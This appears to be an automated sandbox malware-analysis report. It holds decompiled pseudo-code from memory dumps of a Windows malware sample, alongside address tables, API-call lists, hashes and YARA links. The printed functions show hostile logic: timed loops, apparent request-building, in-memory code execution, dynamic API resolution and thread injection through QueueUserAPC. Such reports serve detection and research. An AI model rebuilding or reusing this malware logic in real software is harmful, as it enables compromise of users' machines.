					}
					StrTrimA(_t149, 0x47c2a4);
					_push(_t149);
					_t94 = E00474561();
					_v16 = _t94;
					if(_t94 == 0) {
						L23:
						HeapFree( *0x47d238, _t153, _t149);
						goto L24;
					}
					_t154 = __imp__;
					 *_t154(_t149, _a4);
					 *_t154(_v8, _v20);
					_t155 = __imp__;
					 *_t155(_v8, _v16);
					 *_t155(_v8, _t149);
					_t101 = E0047A0DB(0, _v8);
					_a4 = _t101;
					if(_t101 == 0) {
						_v12 = 8;
						L21:
						E00479E85();
						L22:
						HeapFree( *0x47d238, 0, _v16);
						_t153 = 0;
						goto L23;
					}
					_t105 = E00478954(_t134, 0xffffffffffffffff, _t149,  &_v24); // executed
					_v12 = _t105;
					if(_t105 == 0) {
						_t158 = _v24;
						_t112 = E0047A727(_t158, _a4, _a8, _a12); // executed
						_v12 = _t112;
						_t113 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t113 + 0x80))(_t113);
						_t115 =  *((intOrPtr*)(_t158 + 8));
						 *((intOrPtr*)( *_t115 + 8))(_t115);
						_t117 =  *((intOrPtr*)(_t158 + 4));
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						_t119 =  *_t158;
						 *((intOrPtr*)( *_t119 + 8))(_t119);
						E004770FF(_t158);
					}
					if(_v12 != 0x10d2) {
						L16:
						if(_v12 == 0) {
							_t107 = _a8;
							if(_t107 != 0) {
								_t150 =  *_t107;
								_t156 =  *_a12;
								wcstombs( *_t107,  *_t107,  *_a12);
								_t110 = E00473BBA(_t150, _t150, _t156 >> 1);
								_t149 = _v28;
								 *_a12 = _t110;
							}
						}
						goto L19;
					} else {
						if(_a8 != 0) {
							L19:
							E004770FF(_a4);
							if(_v12 == 0 || _v12 == 0x10d2) {
								goto L22;
							} else {
								goto L21;
							}
						}
						_v12 = _v12 & 0x00000000;
						goto L16;
					}
				}
			}

0x00471d67
0x00471d67
0x00471d67
0x00471d72
0x00471d79
0x00471d7b
0x00471d7b
0x00471d88
0x00471d93
0x00471d96
0x00471d9b
0x00471da4
0x00471da7
0x00471dac
0x00471daf
0x00471db4
0x00471db7
0x00471dc3
0x00471dd0
0x00471dd2
0x00471dd8
0x00471ddd
0x00471de8
0x00471dea
0x00471ded
0x00471def
0x00471df6
0x00471dfc
0x00471dff
0x00471e02
0x00471e07
0x00471e14
0x00471e16
0x00471e1c
0x00471e26
0x00471e26
0x00471e28
0x00471e2f
0x00471e32
0x00471e35
0x00471e3a
0x00471e47
0x00471e49
0x00471e57
0x00471e57
0x00471e59
0x00471e67
0x00471e6c
0x00471e70
0x00471e73
0x00472036
0x00472040
0x00472049
0x00471e79
0x00471e85
0x00471e8d
0x00471e90
0x0047202a
0x00472034
0x00000000
0x00472034
0x00471e9c
0x00471ea1
0x00471eaa
0x00471ebb
0x00471ebf
0x00471ec8
0x00471ece
0x00471edd
0x00471ee4
0x00471eed
0x00471ef3
0x0047201e
0x00472028
0x00000000
0x00472028
0x00471eff
0x00471f05
0x00471f06
0x00471f0d
0x00471f10
0x00472014
0x0047201c
0x00000000
0x0047201c
0x00471f19
0x00471f20
0x00471f28
0x00471f2d
0x00471f36
0x00471f3c
0x00471f43
0x00471f4a
0x00471f4d
0x0047204c
0x00472000
0x00472000
0x00472005
0x00472010
0x00472012
0x00000000
0x00472012
0x00471f57
0x00471f5e
0x00471f61
0x00471f66
0x00471f71
0x00471f76
0x00471f79
0x00471f7f
0x00471f85
0x00471f8b
0x00471f8e
0x00471f94
0x00471f97
0x00471f9c
0x00471fa0
0x00471fa0
0x00471fac
0x00471fb8
0x00471fbc
0x00471fbe
0x00471fc3
0x00471fc5
0x00471fca
0x00471fcf
0x00471fdc
0x00471fe4
0x00471fe7
0x00471fe7
0x00471fc3
0x00000000
0x00471fae
0x00471fb2
0x00471fe9
0x00471fec
0x00471ff5
0x00000000
0x00000000
0x00000000
0x00000000
0x00471ff5
0x00471fb4
0x00000000
0x00471fb4
0x00471fac

APIs

GetTickCount.KERNEL32(7671BB27,03BC9C50,766F41C0,03BC9C50,00000002,004787B7,00000000), ref: 00471D7B
wsprintfA.USER32 ref: 00471DCB
wsprintfA.USER32 ref: 00471DE8
wsprintfA.USER32 ref: 00471E14
HeapFree.KERNEL32(00000000,?), ref: 00471E26
wsprintfA.USER32 ref: 00471E47
HeapFree.KERNEL32(00000000,?), ref: 00471E57
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00471E85
GetTickCount.KERNEL32 ref: 00471E96
RtlEnterCriticalSection.NTDLL(03BC9798), ref: 00471EAA
RtlLeaveCriticalSection.NTDLL(03BC9798), ref: 00471EC8

Part of subcall function 00476AB0: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,754294D8,?,?,00478ED2,?,03BC97D8), ref: 00476ADB
Part of subcall function 00476AB0: lstrlen.KERNEL32(?,?,?,00478ED2,?,03BC97D8), ref: 00476AE3
Part of subcall function 00476AB0: strcpy.NTDLL ref: 00476AFA
Part of subcall function 00476AB0: lstrcat.KERNEL32(00000000,?), ref: 00476B05
Part of subcall function 00476AB0: StrTrimA.SHLWAPI(00000000,=), ref: 00476B22

StrTrimA.SHLWAPI(00000000,0047C2A4), ref: 00471EFF

Part of subcall function 00474561: lstrlen.KERNEL32(03BC9C38,00000000,00000000,754294D8,00478EFD,00000000), ref: 00474571
Part of subcall function 00474561: lstrlen.KERNEL32(?), ref: 00474579
Part of subcall function 00474561: lstrcpy.KERNEL32(00000000,03BC9C38), ref: 0047458D
Part of subcall function 00474561: lstrcat.KERNEL32(00000000,?), ref: 00474598

lstrcpy.KERNEL32(00000000,?), ref: 00471F20
lstrcpy.KERNEL32(?,?), ref: 00471F28
lstrcat.KERNEL32(?,?), ref: 00471F36
lstrcat.KERNEL32(?,00000000), ref: 00471F3C

Part of subcall function 0047A0DB: lstrlen.KERNEL32(?,00000000,0047D330,00000001,004722CC,0047D00C,0047D00C,00000000,00000005,00000000,00000000,?,?,?,00477E0E,004791A4), ref: 0047A0E4
Part of subcall function 0047A0DB: mbstowcs.NTDLL ref: 0047A10B
Part of subcall function 0047A0DB: memset.NTDLL ref: 0047A11D

Part of subcall function 00478954: CoCreateInstance.OLE32(0002DF01,00000000,00000004,03BC8828,00000000), ref: 00478982

wcstombs.NTDLL ref: 00471FCF

Part of subcall function 0047A727: SysAllocString.OLEAUT32(?), ref: 0047A768
Part of subcall function 0047A727: ObjectStublessClient10.OLE32(?,?), ref: 0047A809
Part of subcall function 0047A727: StrStrIW.SHLWAPI(?,006E0069), ref: 0047A829

Part of subcall function 004770FF: HeapFree.KERNEL32(00000000,00000000,00471545), ref: 0047710B

HeapFree.KERNEL32(00000000,?,?), ref: 00472010
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0047201C
HeapFree.KERNEL32(00000000,?,?), ref: 00472028
HeapFree.KERNEL32(00000000,?), ref: 00472034
HeapFree.KERNEL32(00000000,?), ref: 00472040

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$lstrlen$lstrcatwsprintf$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateClient10CreateEnterInstanceLeaveObjectStringStublessmbstowcsmemsetstrcpywcstombs
String ID:
API String ID: 3114726059-0
Opcode ID: 90280b852dfd9d09af6248be0c2cbd35cfc8e593233fe6dae3d7366776e2a0a5
Instruction ID: 31a2ba155049fcd4eea4c8628f5b108e6669385c9cb48f687dc5632aa0cf3467
Opcode Fuzzy Hash: 90280b852dfd9d09af6248be0c2cbd35cfc8e593233fe6dae3d7366776e2a0a5
Instruction Fuzzy Hash: 13915B71900204EFDB11DFA5DD88AAE7BB9EF48314F10806AF90CE7261DB34D991DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00431000, Relevance: 24.1, APIs: 16, Instructions: 120
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00431000(void* __edi, long _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				void* _v48;
				long _t25;
				int _t27;
				long _t30;
				long _t31;
				void* _t32;
				long _t35;
				long _t36;
				long _t40;
				void* _t45;
				intOrPtr _t48;
				signed int _t53;
				void* _t58;
				signed int _t61;
				void* _t64;
				intOrPtr* _t65;

				_t25 = E00431146();
				_v8 = _t25;
				if(_t25 != 0) {
					return _t25;
				}
				do {
					GetSystemTime( &_v24);
					_t27 = SwitchToThread();
					asm("cdq");
					_t53 = 9;
					_t61 = _t27 + (_v24.wMilliseconds & 0x0000ffff) % _t53;
					_t30 = E004315A5(__edi, _t61); // executed
					_v8 = _t30;
					Sleep(_t61 << 5); // executed
					_t31 = _v8;
				} while (_t31 == 0xc);
				if(_t31 != 0) {
					L21:
					return _t31;
				}
				_push(__edi);
				if(_a4 != 0) {
					L11:
					_t32 = CreateThread(0, 0, __imp__SleepEx,  *0x43414c, 0, 0); // executed
					_t64 = _t32;
					if(_t64 == 0) {
						L18:
						_v8 = GetLastError();
						L19:
						_t31 = _v8;
						if(_t31 == 0xffffffff) {
							_t31 = GetLastError();
						}
						goto L21;
					}
					_t35 = QueueUserAPC(E00431936, _t64,  &_v48); // executed
					if(_t35 == 0) {
						_t40 = GetLastError();
						_a4 = _t40;
						TerminateThread(_t64, _t40);
						CloseHandle(_t64);
						_t64 = 0;
						SetLastError(_a4);
					}
					if(_t64 == 0) {
						goto L18;
					} else {
						_t36 = WaitForSingleObject(_t64, 0xffffffff);
						_v8 = _t36;
						if(_t36 == 0) {
							GetExitCodeThread(_t64,  &_v8); // executed
						}
						CloseHandle(_t64);
						goto L19;
					}
				}
				if(E0043126C(_t53,  &_a4) != 0) {
					 *0x434138 = 0;
					goto L11;
				}
				_t65 = __imp__GetLongPathNameW;
				_t45 =  *_t65(_a4, 0, 0); // executed
				_t58 = _t45;
				if(_t58 == 0) {
					L9:
					 *0x434138 = _a4;
					goto L11;
				}
				_t14 = _t58 + 2; // 0x2
				_t48 = E004317A6(_t58 + _t14);
				 *0x434138 = _t48;
				if(_t48 == 0) {
					goto L9;
				}
				 *_t65(_a4, _t48, _t58); // executed
				E00431590(_a4);
				goto L11;
			}

0x00431007
0x00431010
0x00431013
0x00431143
0x00431143
0x0043101a
0x0043101e
0x00431024
0x00431032
0x00431033
0x00431036
0x00431039
0x00431042
0x00431045
0x0043104b
0x0043104e
0x00431055
0x00431140
0x00000000
0x00431140
0x0043105e
0x0043105f
0x004310b5
0x004310c5
0x004310cb
0x004310d5
0x00431130
0x00431132
0x00431135
0x00431135
0x0043113c
0x0043113e
0x0043113e
0x00000000
0x0043113c
0x004310e1
0x004310ef
0x004310f1
0x004310f5
0x004310f8
0x004310ff
0x00431104
0x00431106
0x00431106
0x0043110e
0x00000000
0x00431110
0x00431113
0x0043111b
0x0043111e
0x00431125
0x00431125
0x0043112c
0x00000000
0x0043112c
0x0043110e
0x0043106c
0x004310af
0x00000000
0x004310af
0x0043106e
0x00431079
0x0043107b
0x0043107f
0x004310a5
0x004310a8
0x00000000
0x004310a8
0x00431081
0x00431086
0x0043108d
0x00431092
0x00000000
0x00000000
0x00431099
0x0043109e
0x00000000

APIs

Part of subcall function 00431146: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,0043100C), ref: 00431155
Part of subcall function 00431146: GetVersion.KERNEL32(?,0043100C), ref: 00431164
Part of subcall function 00431146: GetCurrentProcessId.KERNEL32(?,0043100C), ref: 0043117B
Part of subcall function 00431146: OpenProcess.KERNEL32(0010047A,00000000,00000000,?,0043100C), ref: 00431194

GetSystemTime.KERNEL32(?), ref: 0043101E
SwitchToThread.KERNEL32(?,0000001E), ref: 00431024

Part of subcall function 004315A5: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,00000000,0043103E,?,00000000,?,?,?,?,?,?,?,0043103E), ref: 004315FB
Part of subcall function 004315A5: memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,0043103E,00000000), ref: 0043168D
Part of subcall function 004315A5: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,?,?,?,?,0043103E), ref: 004316A8

Sleep.KERNELBASE(00000000,00000000), ref: 00431045
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00431079
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00431099
CreateThread.KERNELBASE(00000000,00000000,00000000,00000000), ref: 004310C5
QueueUserAPC.KERNELBASE(00431936,00000000,?), ref: 004310E1
GetLastError.KERNEL32(?,?,0000001E), ref: 004310F1
TerminateThread.KERNEL32(00000000,00000000), ref: 004310F8
CloseHandle.KERNEL32(00000000), ref: 004310FF
SetLastError.KERNEL32(?), ref: 00431106
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00431113
GetExitCodeThread.KERNELBASE(00000000,?), ref: 00431125
CloseHandle.KERNEL32(00000000), ref: 0043112C
GetLastError.KERNEL32 ref: 00431130
GetLastError.KERNEL32(?,0000001E), ref: 0043113E

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleLongNamePathProcessVirtual$AllocCodeCurrentEventExitFreeObjectOpenQueueSingleSleepSwitchSystemTerminateTimeUserVersionWaitmemcpy
String ID:
API String ID: 2478182988-0
Opcode ID: 94bf775c7bb567fc2792b65705383ad4af92e300ee944bb2422c15f9b5bde107
Instruction ID: 62af6a69b73fe0959b74e4d60b07a8ac2ac9f19d593fc2b1a56b28639b505313
Opcode Fuzzy Hash: 94bf775c7bb567fc2792b65705383ad4af92e300ee944bb2422c15f9b5bde107
Instruction Fuzzy Hash: 02316271900118BFDB15AFA5DC889AF7BBCEE4C3A5B106537F505D2224D7389E808BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00430081, Relevance: 23.9, APIs: 15, Instructions: 1425threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00431146: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,0043100C), ref: 00431155
Part of subcall function 00431146: GetVersion.KERNEL32(?,0043100C), ref: 00431164
Part of subcall function 00431146: GetCurrentProcessId.KERNEL32(?,0043100C), ref: 0043117B
Part of subcall function 00431146: OpenProcess.KERNEL32(0010047A,00000000,00000000,?,0043100C), ref: 00431194

GetSystemTime.KERNEL32(?), ref: 0043101E
SwitchToThread.KERNEL32(?,0000001E), ref: 00431024

Part of subcall function 004315A5: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,00000000,0043103E,?,00000000,?,?,?,?,?,?,?,0043103E), ref: 004315FB
Part of subcall function 004315A5: memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,0043103E,00000000), ref: 0043168D
Part of subcall function 004315A5: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,?,?,?,?,0043103E), ref: 004316A8

Sleep.KERNELBASE(00000000,00000000), ref: 00431045
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00431079
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00431099
CreateThread.KERNELBASE(00000000,00000000,00000000,00000000), ref: 004310C5
QueueUserAPC.KERNELBASE(00431936,00000000,?), ref: 004310E1
GetLastError.KERNEL32(?,?,0000001E), ref: 004310F1
TerminateThread.KERNEL32(00000000,00000000), ref: 004310F8
CloseHandle.KERNEL32(00000000), ref: 004310FF
SetLastError.KERNEL32(?), ref: 00431106
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00431113
GetExitCodeThread.KERNELBASE(00000000,?), ref: 00431125
CloseHandle.KERNEL32(00000000), ref: 0043112C
GetLastError.KERNEL32(?,0000001E), ref: 0043113E

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: Thread$ErrorLast$CloseCreateHandleLongNamePathProcessVirtual$AllocCodeCurrentEventExitFreeObjectOpenQueueSingleSleepSwitchSystemTerminateTimeUserVersionWaitmemcpy
String ID:
API String ID: 192337601-0
Opcode ID: 4c89e9e9ddb7d25f267e3287b6a45664c1b514619e49e427c2d62fc34593ed74
Instruction ID: 57935fc018e3a634f46dcd6701783ab6e5eda59a3b15cae6db5218dcdd1fcba8
Opcode Fuzzy Hash: 4c89e9e9ddb7d25f267e3287b6a45664c1b514619e49e427c2d62fc34593ed74
Instruction Fuzzy Hash: B6B1356180E3D06FDB135B748CA48AA7F74AE1B264B1A15E7E4C1CB1B3D22C4D4AC776

Uniqueness

Uniqueness Score: -1.00%

Function 004786DE, Relevance: 16.6, APIs: 11, Instructions: 150
timememoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E004786DE(intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				struct %anon52 _v8;
				long _v12;
				char _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v32;
				union _LARGE_INTEGER _v36;
				intOrPtr _v40;
				void* _v44;
				void _v88;
				char _v92;
				struct %anon52 _t46;
				intOrPtr _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t60;
				long _t64;
				signed int _t65;
				long _t67;
				void* _t68;
				void* _t70;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr _t76;
				void** _t78;
				void* _t80;

				_t73 = __edx;
				_v92 = 0;
				memset( &_v88, 0, 0x2c);
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v44 = _t46;
				if(_t46 == 0) {
					_v8.LowPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0x47d240);
					_v20 = 0;
					_v16 = 0;
					L0047B078();
					_v36.LowPart = _t46;
					_v32 = _t73;
					SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0);
					_t51 =  *0x47d26c; // 0x18c
					_v40 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
					_v8.LowPart = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0x47d24c = 5;
						} else {
							_t68 = E00479D72(); // executed
							if(_t68 != 0) {
								goto L4;
							}
						}
						_v12 = 0;
						L6:
						L6:
						if(_v12 == 1 && ( *0x47d260 & 0x00000001) == 0) {
							_v12 = 2;
						}
						_t71 = _v12;
						_t58 = _t71 << 4;
						_t76 = _t80 + (_t71 << 4) - 0x54;
						_t72 = _t71 + 1;
						_v24 = _t71 + 1;
						_t60 = E004785F4(_t72, _t72, _t80 + _t58 - 0x58, _t76,  &_v20,  &_v16); // executed
						_v8.LowPart = _t60;
						if(_t60 != 0) {
							goto L17;
						}
						_t65 = _v24;
						_t90 = _t65 - 3;
						_v12 = _t65;
						if(_t65 != 3) {
							goto L6;
						} else {
							_t67 = E004748CC(_t72, _t90,  &_v92, _a4, _a8); // executed
							_v8.LowPart = _t67;
						}
						goto L12;
						L17:
						__eflags = _t60 - 0x10d2;
						if(_t60 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0x47d244);
							goto L21;
						} else {
							__eflags =  *0x47d248; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t60 = E00479E85();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0x47d248);
								L21:
								L0047B078();
								_v36.LowPart = _t60;
								_v32 = _t76;
								SetWaitableTimer(_v44,  &_v36, 0, 0, 0, 0); // executed
								_t64 = WaitForMultipleObjects(2,  &_v44, 0, 0xffffffff);
								__eflags = _t64;
								_v8.LowPart = _t64;
								if(_t64 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t78 =  &_v92;
					_t70 = 3;
					do {
						_t54 =  *_t78;
						if(_t54 != 0) {
							HeapFree( *0x47d238, 0, _t54); // executed
						}
						_t78 =  &(_t78[4]);
						_t70 = _t70 - 1;
					} while (_t70 != 0);
					CloseHandle(_v44);
				}
				return _v8;
				goto L25;
			}

0x004786de
0x004786f0
0x004786f3
0x004786ff
0x00478707
0x0047870a
0x00478871
0x00478710
0x00478710
0x00478712
0x00478717
0x00478718
0x0047871e
0x00478721
0x00478724
0x00478732
0x0047873d
0x00478740
0x00478742
0x0047874f
0x00478759
0x0047875d
0x00478760
0x00478765
0x00478770
0x00478770
0x00478767
0x00478767
0x0047876e
0x00000000
0x00000000
0x0047876e
0x0047877a
0x00000000
0x0047877d
0x00478781
0x0047878c
0x0047878c
0x00478793
0x0047879c
0x004787a3
0x004787ac
0x004787af
0x004787b2
0x004787b9
0x004787bc
0x00000000
0x00000000
0x004787be
0x004787c1
0x004787c4
0x004787c7
0x00000000
0x004787c9
0x004787d3
0x004787d8
0x004787d8
0x00000000
0x00478806
0x00478806
0x0047880b
0x0047882a
0x0047882c
0x00478831
0x00478832
0x00000000
0x0047880d
0x0047880d
0x00478813
0x00000000
0x00478815
0x00478815
0x0047881a
0x0047881c
0x00478821
0x00478822
0x00478838
0x00478838
0x00478840
0x0047884b
0x0047884e
0x00478859
0x0047885b
0x0047885d
0x00478860
0x00000000
0x00478866
0x00000000
0x00478866
0x00478860
0x00478813
0x00000000
0x0047880b
0x004787db
0x004787dd
0x004787e0
0x004787e1
0x004787e1
0x004787e5
0x004787ef
0x004787ef
0x004787f5
0x004787f8
0x004787f8
0x004787fe
0x004787fe
0x0047887b
0x00000000

APIs

memset.NTDLL ref: 004786F3
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 004786FF
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 00478724
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 00478740
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00478759
HeapFree.KERNEL32(00000000,00000000), ref: 004787EF
CloseHandle.KERNEL32(?), ref: 004787FE
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 00478838
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,004791D2,?), ref: 0047884E
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00478859

Part of subcall function 00479D72: StrToIntExW.SHLWAPI(?,00000000,?), ref: 00479DC1
Part of subcall function 00479D72: HeapFree.KERNEL32(00000000,00000000,?), ref: 00479E5E
Part of subcall function 00479D72: HeapFree.KERNEL32(00000000,?), ref: 00479E70

GetLastError.KERNEL32 ref: 0047886B

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: 86a690d469887e168fd6af1af22de8edc898fca49de679622ebe4badd3d58093
Instruction ID: 5ca2b7ff6af448ede25c8935fe5d8a8ef25c3229780deaeeb460835f331fef9a
Opcode Fuzzy Hash: 86a690d469887e168fd6af1af22de8edc898fca49de679622ebe4badd3d58093
Instruction Fuzzy Hash: 91514171801219EACF10DF95DC88DEEBFB8EF45364F20812AF419B2251DB748A45CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0047731A, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 110
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0047731A(void* __eax, void* __ecx) {
				long _v8;
				void* _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t39;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t57;
				void* _t66;
				intOrPtr _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;

				_t67 =  *((intOrPtr*)(__eax + 0x14));
				_t36 = E0047835C(__ecx,  *(_t67 + 0xc),  &_v12,  &_v16); // executed
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				memcpy(_v12,  *(_t67 + 8),  *(_t67 + 0xc));
				_t39 = _v12(_v12);
				_v8 = _t39;
				if(_t39 == 0 && ( *0x47d260 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t46 =  *0x47d27c; // 0x374a7d0
					_t18 = _t46 + 0x47e3e6; // 0x73797325
					_t66 = E00474400(_t18);
					if(_t66 == 0) {
						_v8 = 8;
					} else {
						_t49 =  *0x47d27c; // 0x374a7d0
						_t19 = _t49 + 0x47e747; // 0x3bc8f17
						_t20 = _t49 + 0x47e0af; // 0x4e52454b
						_t69 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t69 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E00472652();
							_t57 =  *_t69(0, _t66, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0); // executed
							_push(1);
							E00472652();
							if(_t57 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x47d238, 0, _t66);
					}
				}
				_t68 = _v16;
				 *((intOrPtr*)(_t68 + 0x18))( *((intOrPtr*)(_t68 + 0x1c))( *_t68));
				E004770FF(_t68);
				goto L12;
			}

0x00477322
0x00477331
0x0047733a
0x0047733d
0x0047744d
0x00477454
0x00477454
0x0047734c
0x00477357
0x0047735c
0x0047735f
0x00477374
0x0047737a
0x0047737b
0x0047737e
0x00477384
0x00477387
0x0047738c
0x00477394
0x004773a0
0x004773a4
0x00477434
0x004773aa
0x004773aa
0x004773af
0x004773b6
0x004773ca
0x004773ce
0x0047741d
0x004773d0
0x004773d1
0x004773d8
0x004773f1
0x004773f3
0x004773f7
0x004773fe
0x00477418
0x00477400
0x00477409
0x0047740e
0x0047740e
0x004773fe
0x0047742c
0x0047742c
0x004773a4
0x0047743b
0x00477444
0x00477448
0x00000000

APIs

Part of subcall function 0047835C: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,?,00000000,?,?,?,00477336,?,00000001,?,?,00000000,00000000), ref: 00478381
Part of subcall function 0047835C: GetProcAddress.KERNEL32(00000000,7243775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783A3
Part of subcall function 0047835C: GetProcAddress.KERNEL32(00000000,614D775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783B9
Part of subcall function 0047835C: GetProcAddress.KERNEL32(00000000,6E55775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783CF
Part of subcall function 0047835C: GetProcAddress.KERNEL32(00000000,4E6C7452,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783E5
Part of subcall function 0047835C: GetProcAddress.KERNEL32(00000000,6C43775A,?,?,?,00477336,?,00000001,?,?,00000000), ref: 004783FB

memcpy.NTDLL(00000001,?,?,?,00000001,?,?,00000000,00000000), ref: 0047734C
memset.NTDLL ref: 00477387

Part of subcall function 00474400: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,004791A4,63699BCE,00477B28,73797325), ref: 00474411
Part of subcall function 00474400: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 0047442B

GetModuleHandleA.KERNEL32(4E52454B,03BC8F17,73797325), ref: 004773BD
GetProcAddress.KERNEL32(00000000), ref: 004773C4
HeapFree.KERNEL32(00000000,00000000), ref: 0047742C

Part of subcall function 00472652: GetProcAddress.KERNEL32(36776F57,004722B1,00000000,00000005,00000000,00000000,?,?,?,00477E0E,004791A4,0047D00C,?,004791A4), ref: 0047266D

CloseHandle.KERNEL32(00000000), ref: 00477409
CloseHandle.KERNEL32(?), ref: 0047740E
GetLastError.KERNEL32(00000001), ref: 00477412

Strings

{IG, xrefs: 0047731A

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemcpymemset
String ID: {IG
API String ID: 478747673-1860599516
Opcode ID: d970b90beaa5dc1520bb963fc6e94d571af546bd266f46346e40ff2981c59a2a
Instruction ID: da277acf4488ab137ac49ae289fc416e2b19ecdffdc78835d0e2c251fb8105c9
Opcode Fuzzy Hash: d970b90beaa5dc1520bb963fc6e94d571af546bd266f46346e40ff2981c59a2a
Instruction Fuzzy Hash: 91311EB2900208EFDB10AFA5DC88DDEBBBCEF08344F5484AAE60DA7122D7355D55DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0235E350, Relevance: 15.1, APIs: 10, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000), ref: 0235E39D
